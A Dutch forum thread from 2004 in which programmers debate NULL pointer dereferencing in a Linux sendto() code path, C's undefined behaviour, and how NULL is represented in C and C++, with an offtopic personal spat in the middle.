Voor wat het waard is, hier staat een uitgebreidere code snippet:
http://mishu.eu.org/paste/view.php?id=1354

Nog iets; de functie die je daar ziet is tamelijk low-level, op aanraden van die IRC'ers controleer ik nog eens goed of er ergens in die sendto()-callchain de waarde van het eerder genoemde msg en voorgangers al beperkt wordt tot non-NULL inhoud.

Verwijderd

Verwijderd schreef op 22 oktober 2004 @ 15:58:
Ik heb in een C IRC-kanaal proberen te vragen wat er gebeurt als de "msg" variabele NULL is in de volgende regel code:
C:
1
2
    if (msg->msg_flags & MSG_OOB)
        goto out;


Evualeert de expressie op de eerste regel als:
• TRUE
• FALSE

Of treedt er een error op?
Als msg NULL is en je gaat msg->msg_flags doen, dan zul je dat geweten hebben :P Ik moet zeggen dat ik niet precies weet wat de C standaard daar over zegt, maar wat ik er van weet: een NULL pointer wijst nergens naar als het ware, en iedere poging om een 'dereference' van een NULL pointer te doen veroorzaakt een run-time error die in veel gevallen het programma onmiddellijk beëindigd...

Verwijderd

Topicstarter
Verwijderd schreef op 22 oktober 2004 @ 16:19:
[...]

Als msg NULL is en je gaat msg->msg_flags doen, dan zul je dat geweten hebben :P Ik moet zeggen dat ik niet precies weet wat de C standaard daar over zegt, maar wat ik er van weet: een NULL pointer wijst nergens naar als het ware, en iedere poging om een 'dereference' van een NULL pointer te doen veroorzaakt een run-time error die in veel gevallen het programma onmiddellijk beëindigd...
Bedankt voor je commentaar! :)

Dit betekent een van de volgende punten:
• De GNU/Linux Kernel is niet robuust wanneer sockaddr_in NULL is in een sendto()-call;
• Op een of andere manier wordt deze conditie toch degelijk afgevangen, waarschijnlijk op een hoger niveau in de sendto()-callchain.

Ik ga natuurlijk uit van het laatste op dit moment. :D

(BTW, ik ben van origine geen doorgewinterde C-programmeur, ik zal vast dingen over het hoofd zien of een verkeerde voorstelling van zaken geven)

Verwijderd

Net even iets opgezocht in ISO/IEC 9899 ('C standard') omdat ik het eigenlijk wel wou weten. Alhoewel het niet expliciet vermeld staat, interpreteer ik dat 'msg->iets' hetzelfde is als '(*msg).iets', en dan vind ik bij operator*
If an invalid value has been assigned to the pointer, the behavior of the unary *operator is undefined.
en verder
Among the invalid values for dereferencing a pointer by the unary * operator are a null pointer, ...
Met andere woorden het gedrag van msg->msg_flags zou undefined zijn als msg NULL is. En dat kan niet goed zijn :P

Verwijderd

Topicstarter
Verwijderd schreef op 22 oktober 2004 @ 16:48:
Net even iets opgezocht in ISO/IEC 9899 ('C standard') omdat ik het eigenlijk wel wou weten. Alhoewel het niet expliciet vermeld staat, interpreteer ik dat 'msg->iets' hetzelfde is als '(*msg).iets', en dan vind ik bij operator*

[...]

en verder

[...]

Met andere woorden het gedrag van msg->msg_flags zou undefined zijn als msg NULL is. En dat kan niet goed zijn :P
offtopic:
LOL, ik ken de diepere gronden van de handelswijze van de opsteller(s) van de C standaard(en) niet, maar waar slaat het in vredesnaam op om iets expliciet te specificeren als zijnde "undefined". :D
Is dat soms gedaan omdat het een runtime-error betreft, die per se op een door het OS te bepalen wijze afgehandeld dient te worden oid?

Verwijderd

Verwijderd schreef op 22 oktober 2004 @ 16:55:
LOL, ik ken de diepere gronden van de handelswijze van de opsteller(s) van de C standaard(en) niet, maar waar slaat het in vredesnaam op om iets expliciet te specificeren als zijnde "undefined". :D
Is dat soms gedaan omdat het een runtime-error betreft, die per se op een door het OS te bepalen wijze afgehandeld dient te worden oid?
Het is zeker niet gedaan omdat het een runtime error betreft, want dat is dus niet zo. Dat zei ik maar omdat dat het gedrag is wat het meeste voorkomt, maar in theorie is het gedrag dus undefined. Het werkelijke gedrag kan een runtime error zijn (wat het meestal is), maar evengoed kon 'de fout' gewoon genegeerd worden of wat dan ook.

Nu weet ik ook niet wat er zich allemaal afgespeeld heeft bij het opstellen van de C standaard, maar ik kan wel een paar dingen bedenken. In dat document staat als definitie
undefined behavior
behavior, upon use of a nonportable or erroneous program construct or of erroneous data, for which this International Standard imposes no requirements

NOTE Possible undefined behavior ranges from ignoring the situation completely with unpredictable results, to behaving during translation or program execution in a documented manner characteristic of the environment (with or without the issuance of a diagnostic message), to terminating a translation or execution (with the issuance of a diagnostic message).
In dat opzicht vermoed ik dat ze zulke zaken opnemen omwille van wat ik algemeen 'vrijheid' zou noemen. Zo sluiten ze geen operating systems en runtime omgevingen uit die niet aan bepaalde voorwaarden zouden voldoen, de compiler schrijvers hebben meer vrijheid om het gedrag te implementeren wat hen het beste uitkomt, etc.
Zoiets lijkt me nog een aanvaardbare verklaring, maar het blijft giswerk van mijn kant. Als hier een expert zit die er meer van weet dan horen we het wel denk ik :)

  • farlane
  • Registratie: Maart 2000
  • Laatst online: 16:18
Ik denk dat ze dat op die manier hebben geregeld omdat de makers zo weinig mogelijk invloed willen hebben op het OS waar de taal gebruikt zou kunnen worden.

Ik bedoel, op een 1Gig machine kun je een kernel schrijven die een mooie 'segmentation fault' melding geeft, maar een embedded systeem heeft daar niet de resources voor. Die zal gewoon resetten, of stoppen of zeg het maar.

Somniferous whisperings of scarlet fields. Sleep calling me and in my dreams i wander. My reality is abandoned (I traverse afar). Not a care if I never everwake.


Verwijderd

Verwijderd schreef op 22 oktober 2004 @ 16:55:
[...]

offtopic:
LOL, ik ken de diepere gronden van de handelswijze van de opsteller(s) van de C standaard(en) niet, maar waar slaat het in vredesnaam op om iets expliciet te specificeren als zijnde "undefined". :D
Is dat soms gedaan omdat het een runtime-error betreft, die per se op een door het OS te bepalen wijze afgehandeld dient te worden oid?
Soms worden dingen expliciet als undefined behaviour geclassificeerd omdat het gewoon niet wenselijk is om alles te specificeren. Het duurt dan ten eerste te lang voor je je specificatie klaar hebt (kijk er maar naar hoe lang het nu al duurt om kleine of grotere dingen in C of C++ te veranderen) en ten tweede maakt het je specificatie moeilijker om te implementeren.

Als beiden erg zijn dan haalt je standaard het gewoon niet. Een mooi voorbeeld is PCTE ( Portable Common Tools Environment), honderden miljoenen dollars in gestopt destijds maar mede door overspecifcatie nooit wat geworden.

De null pointer is overigens toch redelijk universeel hoor. Voor elk memory addressable system is adress 0 (waar de null pointer dus naar wijst) niet toegankelijk.

offtopic:
[quote]
het probleem is ten minste duidelijk, dat is al heel wat op GoT is mijn ervaring.
[/quote]

Moet jij zeggen met je uber-onbegrijpelijk thread over reflection & interfaces in Java. Ik heb gedeeltes ervan uitgeprint, mooi lijstje eromheen, en opgehangen bij ons op kantoor in 1 van de gangen. Darth Vader achtergrondje erbij gedaan en grote tekst erboven "Don't be lured into the dark side of Java". Mijn hele team heeft er echt blauw om gelegen ;)

[ Voor 17% gewijzigd door Verwijderd op 27-10-2004 23:57 ]


Verwijderd

Topicstarter
Verwijderd schreef op 27 oktober 2004 @ 23:50:
[...]


Soms worden dingen expliciet als undefined behaviour geclassificeerd omdat het gewoon niet wenselijk is om alles te specificeren. Het duurt dan ten eerste te lang voor je je specificatie klaar hebt (kijk er maar naar hoe lang het nu al duurt om kleine of grotere dingen in C of C++ te veranderen) en ten tweede maakt het je specificatie moeilijker om te implementeren.

Als beiden erg zijn dan haalt je standaard het gewoon niet. Een mooi voorbeeld is PCTE ( Portable Common Tools Environment), honderden miljoenen dollars in gestopt destijds maar mede door overspecifcatie nooit wat geworden.

De null pointer is overigens toch redelijk universeel hoor. Voor elk memory addressable system is adress 0 (waar de null pointer dus naar wijst) niet toegankelijk.

offtopic:
[quote]
het probleem is ten minste duidelijk, dat is al heel wat op GoT is mijn ervaring.
[/quote]

Moet jij zeggen met je uber-onbegrijpelijk thread over reflection & interfaces in Java. Ik heb gedeeltes ervan uitgeprint, mooi lijstje eromheen, en opgehangen bij ons op kantoor in 1 van de gangen. Darth Vader achtergrondje erbij gedaan en grote tekst erboven "Don't be lured into the dark side of Java". Mijn hele team heeft er echt blauw om gelegen ;)
offtopic:
Mijn verhaal is uitstekend te begrijpen, ik heb o.a. jou moeten wijzen op het feit dat je herhaaldelijk over de door mij genoemde gegevens heen leek te lezen, of deze in ieder geval niet tot je door liet dringen. Erg van je flauw om, puur om daar nog even over te kunnen beginnen, hierover uitwijdt in een heel andere thread, terwijl je die thread destijds verliet omdat de discussie "te theoretisch is" om voor jou interessant te zijn, als ik je goed heb begrepen tenminste.

Ik begrijp ook niet wat je zo vermakelijk vindt aan het afdrukken en inlijsten van gedeeltes van discussies op internetfora, ten aanschouw van je voltallige "team" ( :? )...
Ik betwijfel dat je ook de gedeeltes hebt meegenomen waarin jij blijk geeft van je onbegrip van tot in den treure uitgelegde zaken.

Met alle respect, maar ik word nogal moedeloos van dit soort eindeloos gejeremieer. Als je er echt zo heilig van overtuigd bent dat iedereen die zijn technische vragen niet formuleert in een of ander warrig brabbeltaaltje, zoals gangbaar in deze context, op de een of andere manier geheel buiten jouw schuld totaal onduidelijk is, dan meng je je toch gewoon niet in de discussie?

Leer eerst eens naar jezelf kijken voordat je oordelen velt. De feiten staan trouwens nog steeds overeind, dus ga bijvoorbeeld eens na wat er nu precies niet klopt aan wat ik in zo'n thread zoal beweer. Om dit (door jou geinitieerde, dat moet je toch toegeven) vertoog te besluiten, de volgende opmerking.

Ik zou nooit en te nimmer threads uit gaan printen en in de gang van het kantoor waar ik zou werken hangen, om de grapjas uit hangen. En zeker niet uit zelfgenoegzaamheid. Welke van de twee (indien niet beide) op jouw handelen van toepassing zijn kan ik onvoldoende beoordelen, maar het geeft geen blijk van erg veel respect voor de personen die bijdragen aan dit forum. Niemand vraagt erom dat jij zijn berichten ruchtbaar maakt buiten dit forum om, laat staan om die te laten bespotten.


Hoe dan ook ken ik je als een persoon die aardig wat verstand heeft van de programmeertaal C (en aanverwante talen). Ik vraag me dan ook af waarom je niet de moeite hebt genomen om ook maar enigszins in te gaan op de vraag zoals gesteld in de OP. Tenminste, ik neem aan dat die wel duidelijk voor je is.

Verder is de 'C standaard'-discussie nu wel aan bod gekomen, dat is offtopic en als je dat wilt kan je altijd een apart topic daarover openen.

Hopelijk zijn mijn bewoordingen niet mis te verstaan en beraad je je voortaan wat dieper alvorens je bewust aanstotelijke reacties plaatst. En hoewel wat scherp verwoord heb (had) ik verder niets tegen je, dus begrijp me niet verkeerd.

[ Voor 3% gewijzigd door Verwijderd op 28-10-2004 21:12 ]


  • farlane
  • Registratie: Maart 2000
  • Laatst online: 16:18
Poe hey, das een pittig stukje. Ik moet eerlijk zeggen dat ik de opmerkingen ( en handelingen) van henk_DE_man absoluut niet als negatief had opgevat maar eerder als grappig. ( Zonder dat ik daarbij jou aan het 'uitgrinniken' was trouwens )

Just My 2*1/10^2$

Somniferous whisperings of scarlet fields. Sleep calling me and in my dreams i wander. My reality is abandoned (I traverse afar). Not a care if I never everwake.


Verwijderd

Het kwam op mij ook niet echt negatief over.

Ik heb de thread even opgezocht en het is inderdaad een topic waar op het laatst niemand het meer begrijpt. (ik zelf begrijp overigens ook niet wat er nou precies bedoeld werd en zelf onze java guru alarmnummer begreep het niet meer).

Ik zie de humor van die actie zeker wel in, en zou er zelf erg om gelachen hebben als het mijn topic was :)

Het viel me ook op dat in het begin van de thread juist een aantal tweakers nogal vijandig reageert en het topic afschildert als stomme onzin (curry684 doet dan nog een modbreak om erop te wijzen dat men vriendelijk moet blijven), en dan komt juist henk_de_man naar voren als iemand die serieus op het probleem ingaat en de boel weer een vriendelijk gezicht geeft.

Dat het dan toch in chaos eindigd, tsja...

Het uitprinten van het topic voor zijn teamleden zal dan ook op zich zelf gericht zijn aangezien hij zeker een van de mede 'dragers' van het topic is. De humor van het topic is gewoon erg groot. The darkside of java *lol*

Verwijderd

Topicstarter
offtopic:
Sorry voor de offtopic discussie, bedankt voor het rustige reageren van derden.

Ik vat dat soort reacties echt zo op, en ook al zou de grap van Henk niet direct tegen mij gericht zijn, dan nog verwacht ik dat hij voldoende mensenkennis heeft om te begrijpen dat het nogal vervelend overkomt op anderen als je uit het niets melding doet van jouw minachting van de wijze waarop ik mijn vragen formuleer, en dit te illustreren met het verhalen over de grap die je hierover maakt buiten dit forum om. Dat wekt toch ten minste de schijn van kwade opzet, en volgens mij weet Henk best wel wat hij doet als hij oud zeer bovenhaalt. Dat is mijn overtuiging, mede doordat ik de gevonden oneliner in combinatie met de strekking van het topic niet erg komisch vind, maar dat is natuurlijk subjectief.

Enfin, ik heb heus wel het nodige relativeringsvermogen, maar ik ben nou eenmaal geneigd nogal verbeten te reageren op uitingen van personen die anderen vanwege hun afwijkende opvattingen publiekelijk trachten te bespotten. Anders is dadelijk het einde zoek, dan krijg je uiteindelijk een echte woordenstrijd. Ik wil liever duidelijk een grens stellen, zodat ik me persoonlijke vetes kan besparen.


Ik heb het nogal druk wederom, maar ik probeer binnenkort nog eens te pielen aan de sendto()-aanroep in een testprogramma. Om het maar even kort te zeggen. :P

  • flowerp
  • Registratie: September 2003
  • Laatst online: 04-02 02:01
offtopic:
[quote]Verwijderd schreef op 29 oktober 2004 @ 22:49:
Sorry voor de offtopic discussie, bedankt voor het rustige reageren van derden.

Dat is mijn overtuiging, mede doordat ik de gevonden oneliner in combinatie met de strekking van het topic niet erg komisch vind, maar dat is natuurlijk subjectief.
[/quote]

Dat is inderdaad subjectief. Ik vind de grap juist super goed. Doet me een beetje denken aan de conversations column van herb sutter en jim sylop in CUJ. Daarin heb je altijd een guru en aprentices en spreekt men over programmeren alsof het oude wijsheden zijn of het evangelie. Echt heel erg grappig en zeker een aanrader. Henk's actie zou zo in die column gezet kunnen worden. Super! ;)

Ik heb zelf ook wel wat ervaring met Java, alhoewel ik niet zeg dat ik het niveau van henk zou halen en al helemaal niet van alarmnummer of .oisyn, maar eerlijk gezegd snap ik ook helemaal niks van die hele thread. Ik volg got al behoorlijk lang en post ook wel wat, maar dat over die interface is echt de meest wazigste thread die ik ooit op got gelezen heb (sterker nog op het hele net ;) ).

Het is trouwens een bekend gegeven dat sommige constructies in talen als 'evil' bestempeld worden. In C++ zijn dat vaak friends, in Java is reflection dikwijls de gebeten hond. Ik kan me zo voorstellen dat over het onderwerp reflection al vaker discussies zijn geweest in henk's team en dat die thread daar dan uitstekend bij op aansloot.

Aanstootgevend is zo'n actie ook allerminst. Het waren immers postings in een publiek forum. Als het nou om een prive (e)mail wisseling had gegaan dan had ik de ophef wel begrepen, maar dit moet gewoon kunnen. Voor hetzelfde geld had henk iedereen rond zijn computer geroepen en het topic op het scherm gezet. Het verschil is niet zo groot.

(offtopic in het offtopic: bij mijn vorige werk hadden we ook wat gekke quote's van bekende mensen hangen zoals bill gate's uitspraak over dat 640kb genoeg was. Even wilde ik daar nog Olaf van der spek's opmerking over VC6 bijhangen hier op got, maar aangezien dat geen bekende persoon is heb ik daar maar toen vanaf gezien.

Brengt me overigens wel op een idee om zoiets als ondertitel te gaan gebruiken. :+ )

It's shocking to find how many people do not believe they can learn, and how many more believe learning to be difficult.


Verwijderd

Topicstarter
offtopic:
Ik vind de vraag van mij in die thread wel duidelijk, maar om de centrale vraag van die thread hier te noemen is wat al te offtopic. :+
Ik herrinner me ook dat .oisyn de vraag wel gauw doorhad, ik vraag me dan af waarom anderen dat niet hadden terwijl het zeker niet lag aan hun kennisniveau.

En voor een forum is zo'n reactie weldegelijk aanstootgevend, is mijn overtuiging. Ik vraag me af wat bijv. jij nou eigenlijk als verschil ziet tussen een troll en de plaagstoot van Henk in de vorm van die reactie. Volgens mij vind je deze troll minder erg omdat hij grappig is in jouw ogen, dat vind ik een verkeerde benadering.

Om de thread nou niet helemaal te laten ontsporen gaarne de discussie voorzetten in de eigenlijke thread ervoor indien gewenst. :+

  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

Verwijderd schreef op 27 oktober 2004 @ 23:50:
De null pointer is overigens toch redelijk universeel hoor. Voor elk memory addressable system is adress 0 (waar de null pointer dus naar wijst) niet toegankelijk.
Dat is helemaal niet de issue : NULL is een magische waarde die nooit geen geldige pointer is, en die waarde hoeft niet gelijk te zijn aan adres 0. Er zijn zelfs systemen waarbij dat ook daadwerkelijk niet het geval is.

  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

Verwijderd schreef op 22 oktober 2004 @ 15:58:
Ik heb in een C IRC-kanaal proberen te vragen wat er gebeurt als de "msg" variabele NULL is in de volgende regel code:
C:
1
2
    if (msg->msg_flags & MSG_OOB)
        goto out;


Evualeert de expressie op de eerste regel als:
• TRUE
• FALSE

Of treedt er een error op?
Het evalueert nergens in, maar zorgt voor een oops, aangezien msg-> een NULL pointer dereference is als msg daadwerkelijk NULL is. Verder is het probleem dat AFAIK de standaard voorschrijft dat die parameter gebruikt moet worden, en dat het anders weer resulteert in OS afhankelijk gedrag.

  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

Verwijderd schreef op 22 oktober 2004 @ 16:48:
Net even iets opgezocht in ISO/IEC 9899 ('C standard') omdat ik het eigenlijk wel wou weten. Alhoewel het niet expliciet vermeld staat, interpreteer ik dat 'msg->iets' hetzelfde is als '(*msg).iets', en dan vind ik bij operator*
(*msg).iets == msg->iets
Met andere woorden het gedrag van msg->msg_flags zou undefined zijn als msg NULL is. En dat kan niet goed zijn :P
Dat komt omdat dezelfde standaard voorschrijft dat een geldige pointer nooit naar NULL kan wijzen. Bij de meeste architecturen verwijst NULL naar virtueel adres 0, en die is niet gemapped, waardoor je bij een dereference een pagefault krijgt, en het OS je applicatie afschiet.

In kernelspace gebeurd ongeveer hetzelfde : Men unmapped de page waar virtual adres 0 inzit, en bij ee dereference krijg je dus een pagefault in kernelspace, en zo'n leuke OOPS op je scherm :)

  • flowerp
  • Registratie: September 2003
  • Laatst online: 04-02 02:01
igmar schreef op 31 oktober 2004 @ 11:03:

Dat is helemaal niet de issue : NULL is een magische waarde die nooit geen geldige pointer is, en die waarde hoeft niet gelijk te zijn aan adres 0.
Hoe kom je daar nou weer bij? NULL is gewoon een macro voor het getalletje 0. Dat is in C zo en in C++ ook. Niks geen magische waarden. Het is keihard het virtuele address 0, in elke implementatie.

De officieele aanbeling in C++ (volgene Bjarn) is dan ook om gewoon 0 te schrijven en niet NULL (hoewel het hetzelfde is). Overigens heeft het feit dat 0 een integer is een aantal vervelende gevolgen voor het type systeem wat de standaard commissie ertoe gedreven heeft om over de "null_ptr" na te denken voor in de volgende C++ versie. Dat wordt wel echt een object met, zo jij wilt, een magische waarde.
Er zijn zelfs systemen waarbij dat ook daadwerkelijk niet het geval is.
Zoals?

It's shocking to find how many people do not believe they can learn, and how many more believe learning to be difficult.


  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

flowerp schreef op 31 oktober 2004 @ 12:58:
Hoe kom je daar nou weer bij? NULL is gewoon een macro voor het getalletje 0. Dat is in C zo en in C++ ook. Niks geen magische waarden. Het is keihard het virtuele address 0, in elke implementatie.
D'r kan een verschil zijn tussen de waarde in C, en de runtime waarde. Vanuit het oogpunt van de programmeur is de waarde inderdaad adres 0, maar dat wil niet zeggen dat dat runtime ook zo is.
De officieele aanbeling in C++ (volgene Bjarn) is dan ook om gewoon 0 te schrijven en niet NULL (hoewel het hetzelfde is). Overigens heeft het feit dat 0 een integer is een aantal vervelende gevolgen voor het type systeem wat de standaard commissie ertoe gedreven heeft om over de "null_ptr" na te denken voor in de volgende C++ versie. Dat wordt wel echt een object met, zo jij wilt, een magische waarde.
Het voordeel van NULL is dat meteen duidelijk is dat het om pointers gaat, ipv een byte of integer waarde. 0 is in pointer context al een magische waarde, en dat gaat niet veranderen.
Zoals?
Een HP 3000 machine die voor word adressering een ander schema gebruikte als voor bytes, en dus ook een andere interne pointer representatie. Tegenwoordig komt het afaik niet meer voor, al kan een bitadressable architectuur nog misschien wat leuke verassingen opleveren.

  • flowerp
  • Registratie: September 2003
  • Laatst online: 04-02 02:01
igmar schreef op 31 oktober 2004 @ 13:58:
D'r kan een verschil zijn tussen de waarde in C, en de runtime waarde. Vanuit het oogpunt van de programmeur is de waarde inderdaad adres 0, maar dat wil niet zeggen dat dat runtime ook zo is.
Nee natuurlijk hoeft dat niet, maar dat is de basis van operating system concepten en computer architectuur. Van het absolute address 0 is er maar 1tje in de machine, van de virtuele is er 1'tje voor elk process.

Welk process je ook hebt, het virtuele address 0 van die address space mag niet gelezen of geschreven worden. Dat is een redelijke universele afspraak die niet met C te maken heeft. Namelijk, de C (of C++) runtime controlleerd helemaal geen addressen op validiteit. De error komt van de onderliggende laag waar de run onder draait.

Het OS weet ook helemaal niet in welke taal de binary oorspronkelijk geschreven was en maakt daar ook geen aannames over. (virtueel) address 0 is verboden gebied voor elke binary. Een fysiek address is zowieso al niet toegankelijk op de meeste systemen, maar waar dat wel zo is (oude systemen, of embedded) zal fysiek address 0, voor zover ik weer, ook niet toegankelijk zijn.

In systemen waar dit toch anders is, zal de runtime aardig wat extra werk moeten verzetten. In het algemeen mapped C erg direct op de hardware en zijn pointers dan ook direct geheugen adressen. De moderne indirectie heb je al dmv virtuele address spaces. Een C runtime voor de dergelijk ander systeem zou daar nog eens zijn eigen mapping overheen halen?
Het voordeel van NULL is dat meteen duidelijk is dat het om pointers gaat, ipv een byte of integer waarde. 0 is in pointer context al een magische waarde, en dat gaat niet veranderen.
Dat gaat wel veranderen, tenminste het oude gebruik natuurlijk niet (dat zou te veel code breken), maar er komt wel echt een nieuwe 'echte' null pointer.

Kijk, het probleem is dat je nu met overloads zit. Stel de volgende declaraties voor:

C++:
1
2
void myfunc1 ( bar* );
void myfunc1 ( int ); // overload the bar* version


Roep deze nu aan: (definitie weggelaten, is hier niet belangrijk)

C++:
1
2
3
myfunc1 ( new bar ); // calls bar* version
myfunc1 ( 0 ); // calls int version
myfunc1 ( NULL ); // call int version. Is that what we want?


Het punt is dat de semantics gewoon niet kloppen. De compiler kan geen onderscheid maken tussen een null pointer en een integer. Je wilt dat voor bar*'s de bar* versie wordt aangeroepen, maar zodra bar* null is (wat in veel situaties gewoon een normale state is en geen exception) kicked opeens de int versie erin.

Nog een andere situatie krijg je met een overloaded functie die beiden een pointer naar een verschillend object nemen. Welke roep je aan bij een null pointer?

It's shocking to find how many people do not believe they can learn, and how many more believe learning to be difficult.


  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

flowerp schreef op 31 oktober 2004 @ 14:37:
Welk process je ook hebt, het virtuele address 0 van die address space mag niet gelezen of geschreven worden. Dat is een redelijke universele afspraak die niet met C te maken heeft. Namelijk, de C (of C++) runtime controlleerd helemaal geen addressen op validiteit. De error komt van de onderliggende laag waar de run onder draait.
Een NULL pointer is voor zover ik weet een compiler iets : De assembler die gegenereerd wordt zal voor een NULL pointer gewoon een andere waarde bevatten.
Een fysiek address is zowieso al niet toegankelijk op de meeste systemen, maar waar dat wel zo is (oude systemen, of embedded) zal fysiek address 0, voor zover ik weer, ook niet toegankelijk zijn.
Dat laatste is dus niet zo : Ik ken zat systemen waar op adres 0 een interrupt vector begint, of systemen die gewoon vanaf adres 0 code beginne te laden. Bij veel oudere embedded systemen heeft de CPU geen MMU, dus is d'r van virtuele adressering ook geen sprake.
In systemen waar dit toch anders is, zal de runtime aardig wat extra werk moeten verzetten. In het algemeen mapped C erg direct op de hardware en zijn pointers dan ook direct geheugen adressen. De moderne indirectie heb je al dmv virtuele address spaces. Een C runtime voor de dergelijk ander systeem zou daar nog eens zijn eigen mapping overheen halen?
De runtime mapped niet, het OS bepaald waar wat komt. Vaak is het laadadres virtueel wel vaak hetzelfde, maar waar dat fysiek uitkomt is niet bepaald. Welke waarde een NULL pointer heeft wordt bepaald door de architectuur, en zal gewoon resulteren in specifieke assembler.
Dat gaat wel veranderen, tenminste het oude gebruik natuurlijk niet (dat zou te veel code breken), maar er komt wel echt een nieuwe 'echte' null pointer.

Kijk, het probleem is dat je nu met overloads zit. Stel de volgende declaraties voor:

C++:
1
2
void myfunc1 ( bar* );
void myfunc1 ( int ); // overload the bar* version


Roep deze nu aan: (definitie weggelaten, is hier niet belangrijk)

C++:
1
2
3
myfunc1 ( new bar ); // calls bar* version
myfunc1 ( 0 ); // calls int version
myfunc1 ( NULL ); // call int version. Is that what we want?


Het punt is dat de semantics gewoon niet kloppen. De compiler kan geen onderscheid maken tussen een null pointer en een integer. Je wilt dat voor bar*'s de bar* versie wordt aangeroepen, maar zodra bar* null is (wat in veel situaties gewoon een normale state is en geen exception) kicked opeens de int versie erin.
Afgezien van het feit dat sizeof(int) niet altijd gelijk is aan sizeof (void *) klopt het, kun je dat onderscheid inderdaad niet maken, maar ik vraag me af vaak dat echt in de praktijk een probleem is. De C++ ABI is echt een chaos, die is inmiddels zo vaak veranderd dat ik de tel kwijt ben.
Nog een andere situatie krijg je met een overloaded functie die beiden een pointer naar een verschillend object nemen. Welke roep je aan bij een null pointer?
Waar de compiler zin in heeft denk ik. Is dit inmiddels al een standaard, of work-in-progress ?

  • flowerp
  • Registratie: September 2003
  • Laatst online: 04-02 02:01
igmar schreef op 31 oktober 2004 @ 15:17:
Een NULL pointer is voor zover ik weet een compiler iets : De assembler die gegenereerd wordt zal voor een NULL pointer gewoon een andere waarde bevatten.
Kun je dan ook eem stukje assembler laten zien waarin dat gebeurd? Ik weet vrij zeker dat dat namelijk niet kan (.oisyn, efbe?). Namelijk, zoals ik eerder al uitlegde, een compiler kan helemaal geen onderscheid maken tussen een null pointer en een getal. Het is in C en C++ legaal om met pointers te rekenen. Je kunt het verschil berekenen, pointers verlagen, ophogen, 2 pointers met elkaar 'manglen' en later weer uitelkaar halen (dmv and en or operaties bijvoorbeeld).

M.a.w. de compiler kan nooit enkel en alleen voor 0 een andere waarde gaan gebruiken dan voor de andere adressen. De runtime zou dat wel kunnen, maar ik geloof niet dat die elke geheugen benadering controlleerd.
Dat laatste is dus niet zo : Ik ken zat systemen waar op adres 0 een interrupt vector begint
Maar dat is dan het OS. Voor supervisor mode code is het een ander verhaal.
of systemen die gewoon vanaf adres 0 code beginne te laden. Bij veel oudere embedded systemen heeft de CPU geen MMU, dus is d'r van virtuele adressering ook geen sprake.
Die systemen hoeven nog niet eens embedded te zijn (neem bv de 68000 in de oude Apple's waar ook gewoon in C geprogrammeerd op werd). Die systemen hadden echter wel een supervisor / usermode onderscheid.
De runtime mapped niet, het OS bepaald waar wat komt. Vaak is het laadadres virtueel wel vaak hetzelfde, maar waar dat fysiek uitkomt is niet bepaald.
Natuurlijk niet. Waar het fysiek uitkomt is gewoon een kwestie van daar waar toevallig ruimte is. Van een virtuele addess space staan de pages niet eens perse continu in het geheugen. Maar dat is toch ook het hele punt niet hier?
Welke waarde een NULL pointer heeft wordt bepaald door de architectuur, en zal gewoon resulteren in specifieke assembler.
En hoe wou je dat dan doen met die compiler? Je -moet- alle adressen op dezelfde manier behandelen als compiler omdat je @compile time niet weet wat het address gaat worden.

Simpel voorbeeld:

C++:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void myfunc() {

  int* bar = new int(42);
  bar = (int*)((int)bar ^ 0xcccccccc);

  // do something
  
  bar = (int*)((int)bar ^ 0xcccccccc);

  if ( bar == NULL )  { // bar not NULL, expression is true
    // ...
  }    

}


Dit stukje code is 100% legaal en werk overal.

Neem nu het volgende stukje:

C++:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void myfunc() {

  int* bar = (int*)getInt(); // gets int* from somewhere, might use "return 0;"
  bar = (int*)((int)bar ^ 0xcccccccc);

  // do something
  
  bar = (int*)((int)bar ^ 0xcccccccc);

  // bar maybe null, but how can compiler insert special value for null
  // here, since it can't possibly track bar

  if ( bar == NULL )  {    
    // ...
  }    

}


Mischien is dit voorbeeld nog niet eens de mooiste, maar geeft wel aan dat je allemaal legale dingen met pointers mag doen en de compiler deze met geen mogelijkheid kan volgen. Ook voor een 'interne' pointer kan een comper dus niet voor 'pointer 0' een uitzondering maken.

Een voorbeeld wat zich alleen in C/C+ afspeelt:

C++:
1
2
3
4
5
6
int a = 1-1;

// according to igmar, the outcome of this is implementation dependend?
if ( NULL == a ) {

}


Van dit laatste voorbeeld ben je geloof ik wel overtuigd dat het zo niet werkt, maar heb ik voor de compleetheid maar even meegenomen. ;)
Afgezien van het feit dat sizeof(int) niet altijd gelijk is aan sizeof (void *) klopt het, kun je dat onderscheid inderdaad niet maken, maar ik vraag me af vaak dat echt in de praktijk een probleem is. De C++ ABI is echt een chaos, die is inmiddels zo vaak veranderd dat ik de tel kwijt ben.
Er is helemaal geen algemene C++ ABI. :? Een ABI is altijd per platform, en daarvan is er nog maar 1 gespecificeerd en dat is voor het Itaninium platform. Die is zeker niet frequent veranderd en een chaos is het ook al niet. Hoewel ik niet voor Itanium geprogrammeer heb ziet ie er gewoon duidelijk uit, maar ik moet eerlijk toegeven dat ik er niet echt diep in gedoken ben. Wat is er dan onduidelijke/chaotisch aan de Itanium C++ ABI? En wat heeft het uberhaupt met de bovenstaande discussie te maken (null is platform onafhankelijk niet toegankelijk, ABI is per platform)
Waar de compiler zin in heeft denk ik. Is dit inmiddels al een standaard, of work-in-progress ?
Ja joh! Daar zijn ze al een tijdje mee bezig. Zoals ik zei, er komt een templated null pointer object. :)

It's shocking to find how many people do not believe they can learn, and how many more believe learning to be difficult.


  • igmar
  • Registratie: April 2000
  • Laatst online: 12-05 15:46

igmar

ISO20022

flowerp schreef op 31 oktober 2004 @ 16:29:
Kun je dan ook eem stukje assembler laten zien waarin dat gebeurd? Ik weet vrij zeker dat dat namelijk niet kan (.oisyn, efbe?). Namelijk, zoals ik eerder al uitlegde, een compiler kan helemaal geen onderscheid maken tussen een null pointer en een getal.
Zie http://www.eskimo.com/~scs/C-faq/q5.17.html voor concrete voorbeelden. En op zich kan de compiler er wel onderscheid tussen maken : Pointers zijn pointers, en als d'r een pointer in het spel is wordt die altijd als pointer behandeld, ongeachte de waarde die je d'r aan toekent.
